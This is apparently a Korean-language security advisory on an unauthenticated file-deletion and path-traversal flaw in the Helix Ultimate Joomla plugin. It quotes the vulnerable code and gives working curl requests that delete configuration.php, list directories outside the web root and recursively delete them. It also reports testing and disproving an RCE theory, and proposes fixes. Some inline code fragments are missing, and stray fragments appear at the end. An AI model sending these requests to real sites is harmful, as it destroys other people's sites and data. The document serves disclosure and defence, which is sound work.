
Joomla Helix Ultimate (JoomShaper) <= 2.2.6의 인증되지 않은 임의 파일/폴더 삭제 — CVE-2026-57830
이 취약점은 확인된 DoS + 교차 테넌트 파일시스템 접근 취약점이며, RCE가 아닙니다. RCE 승격 이론(configuration.php를 삭제하여 Joomla 설치 프로그램을 다시 노출하는 방법)은 실환경에서 테스트되었고 반증되었습니다 — 아래 "RCE 승격 — 테스트 및 반증" 참조. 실제 체인을 먼저 새로 도출하지 않고 어떤 보고서에서도 이를 RCE로 표시하지 마십시오.
심각도 상향 (2026-07-06, 두 번째 검토): path 매개변수는 처음 평가된 것처럼 Joomla 웹 루트에 안전하게 제한되지 않습니다 — Joomla의 PATH 입력 필터는 단일 /../ 탐색 구성 요소를 차단하지 않으므로, 이 버그는 (읽기: 전체 디렉터리 목록; 쓰기: 파일 삭제 또는 폴더 내용의 재귀 삭제) 웹 서버 사용자가 접근할 수 있는 파일시스템의 모든 것에 도달할 수 있으며, Joomla 설치 내부의 파일에만 국한되지 않습니다. 여러 사이트/테넌트가 동일한 OS 사용자 아래 형제 디렉터리로 존재하는 공유 호스팅 환경(매우 일반적: cPanel "애드온 도메인", 시스템 사용자를 공유하는 Plesk 구독, 대부분의 저가 호스팅)에서는 Helix Ultimate 기반 사이트 하나만으로 익명 방문자가 동일 계정의 다른 모든 사이트를 파괴할 수 있습니다. 실증은 아래 "경로 탐색이 JPATH_ROOT를 완전히 이탈"을 참조하십시오.
구성 요소: JoomShaper Helix Ultimate Framework(plg_system_helixultimate), 사실상 모든 JoomShaper Joomla 템플릿(Helix Ultimate 기반)에 번들로 포함됨.
테스트 버전: 2.2.6 (GitHub JoomShaper/helix-ultimate, 2026-07 기준 HEAD, 마지막 푸시 2026-06-30)
작성자: Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/src/Platform/Media.php는 helixultimate.php::onAfterRoute()의 Joomla com_ajax 디스패치 훅을 통해 deleteMedia(), getFolders(), createFolder()를 노출합니다. 이 세 메서드는 Session::checkToken()(일반 CSRF 검사로, 익명 방문자 자신의 세션 토큰으로도 충족됨 — 사이트 홈페이지 HTML에서 수집 가능)만 호출합니다 — authorise() / 로그인 검사가 전혀 없습니다. 이는 동일 클래스의 형제 메서드인 uploadMedia()가 com_templates에 대한 core.edit을 올바르게 요구하는 것과 일관성이 없습니다.
시스템 플러그인이므로 onAfterRoute()는 현재 활성 템플릿과 관계없이 모든 요청에서 실행됩니다 — 플러그인이 설치되고 활성화되어 있는 한(Helix Ultimate 기반 JoomShaper 템플릿을 사용하는 모든 사이트에서 기본적으로 그렇습니다) 취약한 코드 경로에 도달할 수 있습니다.
plugins/system/helixultimate/helixultimate.php (약 464-489행):
if ($this->app->isClient('site'))
{
$option = $this->app->input->get('option', '', 'STRING');
$helix = $this->app->input->get('helix', '', 'STRING');
$request = $this->app->input->get('request', '', 'STRING');
$action = $this->app->input->get('action', '', 'STRING');
if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
{
switch ($action)
{
case 'upload-blog-image': Blog::upload_image(); break; // has core.create/com_media check
case 'remove-blog-image': Blog::remove_image(); break; // has core.delete/com_media check
case 'view-media': Media::getFolders(); break; // NO authorise() check
case 'delete-media': Media::deleteMedia(); break; // NO authorise() check
case 'upload-media': Media::uploadMedia(); break; // has core.edit/com_templates check
}
}
}
plugins/system/helixultimate/src/Platform/Media.php:
public static function deleteMedia()
{
$output['message'] = Text::_('JINVALID_TOKEN');
Session::checkToken() or die(json_encode($output)); // ← only CSRF, no authorise()
$path = $input->post->get('path', '/images', 'PATH');
$type = $input->post->get('type', 'file', 'STRING');
if ($type === 'file') { File::delete(JPATH_ROOT . '/' . $path); }
else { Folder::delete(JPATH_ROOT . '/' . $path); } // recursive
}
$path는 Joomla의 PATH 입력 필터(InputFilter::cleanPath())를 거칩니다. 두 가지 독립적인 요소가 이를 위험하게 만듭니다:
path는 JPATH_ROOT 바로 아래에서 해석되므로 루트 기준 절대 경로(/configuration.php, /administrator/..., /media/...)는 이미 도달 가능합니다.cleanPath()의 정규식(^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$)은 선행 [A-Za-z0-9_/-]+ 덩어리 바로 뒤에 정확히 한 번의 점/하이픈/영숫자 연속을 허용합니다 — 그리고 선행 / 하나만으로도 그 선행 덩어리를 충족하므로 /../sibling_dir 같은 문자열이 깔끔하게 매칭됩니다: / (덩어리 1), .. (허용된 점 연속), /sibling_dir (일반 후행 세그먼트). 이 필터는 점으로 하는 새 구성 요소를 거부하도록 작성되었지만, 문자열의 첫 문자 바로 뒤에 오는 단일 은 전혀 예상하지 못했습니다. 연결은 유지되지 않습니다(첫 점 연속 이후의 모든 후속 세그먼트는 점이 아닌 문자로 시작해야 함) — 따라서 이탈은 위 정확히 디렉터리 수준으로 제한되지만, 그 수준 아래의 모든 것(임의 깊이)은 이후 세그먼트가 일반적인 점 없는 경로 구성 요소일 뿐이므로 정상적으로 도달 가능합니다.configuration.php → 즉각적이고 완전한 사이트 중단("No configuration" 치명적 오류), HTTP 요청 한 번, 인증 제로.type=folder) → 예: /administrator, /components, /media → 훨씬 더 파괴적이며 사실상 설치를 파괴합니다.view-media(Media::getFolders())를 통한 인증 없는 정보 공개: 루트 기준 임의 경로 아래의 모든 이미지 파일, 모든 하위 폴더 이름, 절대 서버 경로를 인증 없이 나열합니다(아래에서 안전한 탐지 신호로 사용됨).일회용 Docker 인스턴스(Joomla 5.4.6 + Helix Ultimate 플러그인 2.2.6, 새 설치, 완전한 익명 브라우저 세션 — 로그인 없음, Joomla가 모든 방문자에게 제공하는 쿠키 외에 다른 쿠키 없음)에서 테스트했습니다:
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/configuration.php" \
--data-urlencode "type=file" \
--data-urlencode "<csrf-token-from-homepage>=1"
{"status":true, ...}
$ curl http://TARGET/
"No configuration file found and no directory was found for installation."
Joomla 웹 루트의 형제 디렉터리(/var/www/html의 형제인 /var/www/canary_sibling)를 만들고, 현실적인 공유 호스팅 구성을 반영하기 위해 웹 서버(www-data)와 동일한 사용자 소유로 설정했으며, 파일, 이미지, 하위 디렉터리 하나씩을 채웠습니다:
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=view-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "<csrf-token>=1"
{"status":true, "path":"/../canary_sibling",
"images":["/var/www/html/../canary_sibling/proof.png"],
"folders":["subdir"], ...}
Joomla 설치 외부에 완전히 위치한 디렉터리의 전체 읽기/열거 — 해석된 절대 서버 경로 포함, 인증 제로.
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "type=folder" \
--data-urlencode "<csrf-token>=1"
결과: canary_sibling 내부의 모든 파일(일반 파일, 이미지, 하위 디렉터리)이 삭제되었습니다. 이제 비어 있는 최상위 canary_sibling 폴더 자체만 남았는데, 이는 실험실에서 해당 폴더가 root 소유의 /var/www 바로 아래에 있었기 때문입니다 — 빈 디렉터리 항목을 제거하려면 그 상위 디렉터리에 대한 쓰기 권한이 필요한데, www-data는 /var/www에 그 권한이 없습니다. 실제 공유 호스팅 구성(예: /home/user/domains/siteA.com/public_html과 /home/user/domains/siteB.com/public_html이 진정한 형제로 존재하고 둘 다 동일한 계정 사용자가 끝까지 소유)에서는 그 마지막 장벽이 존재하지 않으며 형제 사이트의 전체 디렉터리 트리를 제거할 수 있습니다.
가장 확실한 다음 이론은: 설정 후 installation/이 제거된 적 없는 사이트에서 configuration.php를 삭제하면 설치 마법사에 다시 도달할 수 있게 되어 공격자가 설치를 완료하고 새 Super User를 만들 수 있다는 것이었습니다. 이것은 실험실에서 직접 테스트되었으며 성립하지 않습니다:
installation/ 폴더를 웹 루트에 다시 복사했습니다(제거하는 것을 잊은 사이트를 시뮬레이션) — 이 시점에 configuration.php는 여전히 존재하고 유효했습니다.302 Found -> /installation/index.php를 발급하기 시작했으며, 익스플로잇 자체의 option=com_ajax&helix=ultimate&...&action=delete-media POST도 포함되었습니다. 이 상태에서는 취약한 코드 경로가 결코 실행되지 않습니다 — Joomla 코어가 모든 것을 먼저 단락(short-circuit)시킵니다.installation/이 존재하는 경우: 사이트는 이 취약점과 완전히 무관하게 어떤 방문자에게도 이미 완전히 장악 가능한 상태입니다 — 이는 기존의 무관한 Joomla 잘못된 구성이지, 이 버그가 유발하거나 필요로 하는 것이 아닙니다.installation/이 없는 경우(정상적이고 안전한 상태): 이 취약점은 파일을 삭제만 할 수 있고 installation/ 폴더를 다시 생성할 수는 없습니다 — 삭제 전용 프리미티브로는 설치 프로그램을 다시 노출할 방법이 없습니다.결론: 어떤 상태 조합도 이것을 RCE로 만들지 않습니다. 확인되고 정직한 영향 상한선은 인증되지 않고, 조건 없이, 보장된 전체 사이트 DoS(위에서 언급한 인증 없는 정보 공개 포함)입니다. 이것만으로도 그 자체로 Critical 심각도 발견이며 부풀려진 RCE 주장이 필요하지 않습니다.
createFolder()는 인증 없이 도달할 수 없습니다(이전 초안은 틀렸음)이 글의 이전 버전은 Media::createFolder()도 (삭제/읽기와 함께 세 번째 프리미티브로) 인증 없이 도달할 수 있다고 주장했습니다. 이는 올바르지 않았으며 플러그인의 디스패치 연결을 전체적으로 검토한 후 수정되었습니다:
createFolder()와 코드베이스의 실제 파일 콘텐츠 쓰기 싱크(Request.php: 템플릿 스타일/웹폰트/CSS 캐시 파일에 대한 fwrite(), File::write())는 모두 plugins/system/helixultimate/src/Platform/Request.php에 있으며, Platform::handleRequests() <- onAfterRespond()를 통해서만 디스패치됩니다.onAfterRespond()는 명시적으로 $this->app->isClient('administrator')를 요구하며, onAfterRoute()는 그 지점 이전에 로그인하지 않은 방문자를 별도로 리디렉션합니다. 이 경로는 진정한 관리자 인증을 거칩니다 — 메서드 내부에 authorise() 호출이 없다는 사실만이 아니라 정확한 게이트 조건을 읽어 확인했습니다(실제로 게이트가 전혀 없는 사이트 측 deleteMedia()/getFolders()와는 다릅니다).onAfterRoute()의 프런트엔드() 스위치는 다섯 가지 액션만 연결합니다: , , (), (), (, /를 확인함). 는 그중에 없습니다.최종 확인된 인증 없는 기능 세트: 삭제(파일 또는 재귀 폴더) + 읽기(폴더/이미지 목록)뿐입니다. 이 플러그인 어디에도 인증 없는 콘텐츠 쓰기 프리미티브는 존재하지 않습니다. 이것이 바로 RCE 체인을 특별히 찾아보았음에도 발견되지 않은 정확한 이유입니다 — RCE는 근본적으로 쓰기 프리미티브가 필요하며, 이 버그 클래스에는 그런 것이 없습니다.
helix_ultimate_detect.py비파괴적. action=view-media(폴더/파일 목록)를 증명 신호로 사용합니다 — 어떤 것도 삭제하지 않습니다.
helix_ultimate_delete_poc.py (연속성을 위해 이름 유지; DoS만 확인)파괴적. 무엇이든 건드리려면 명시적인 --delete <path>가 필요합니다. --rce 플래그는 configuration.php를 삭제하고 /installation/을 조사하여 해당 폴더가 우연히 이미 존재하는지 확인할 뿐입니다(존재한다면 사이트는 이 버그와 무관하게 독립적으로 완전히 개방된 상태였던 것) — 이는 이 취약점으로 인한 실제 승격을 나타내지 않습니다. 위의 "RCE 승격 — 테스트 및 반증"을 참조하십시오. 서면 승인을 받은 경우에만 사용하십시오.
두 가지 독립적인 수정이 필요하며, 둘 중 하나만으로도 이미 이 문제를 막을 수 있습니다:
src/Platform/Media.php의 deleteMedia()와 getFolders()에 uploadMedia()가 이미 가지고 있는 것과 동일한 권한 검사를 추가하십시오 — 최소한 com_templates에 대한 core.edit/core.delete(또는 Blog::remove_image()의 패턴과 일치하는 com_media)를 요구하십시오.Amin İsayev / Proxima Cyber Security — 2026. 교육 / 승인된 테스트 전용.
/…..../../../…JPATH_ROOTisClient('site')upload-blog-imageremove-blog-imageview-mediaMedia::getFoldersdelete-mediaMedia::deleteMediaupload-mediaMedia::uploadMediacore.editcom_templatescreate-folder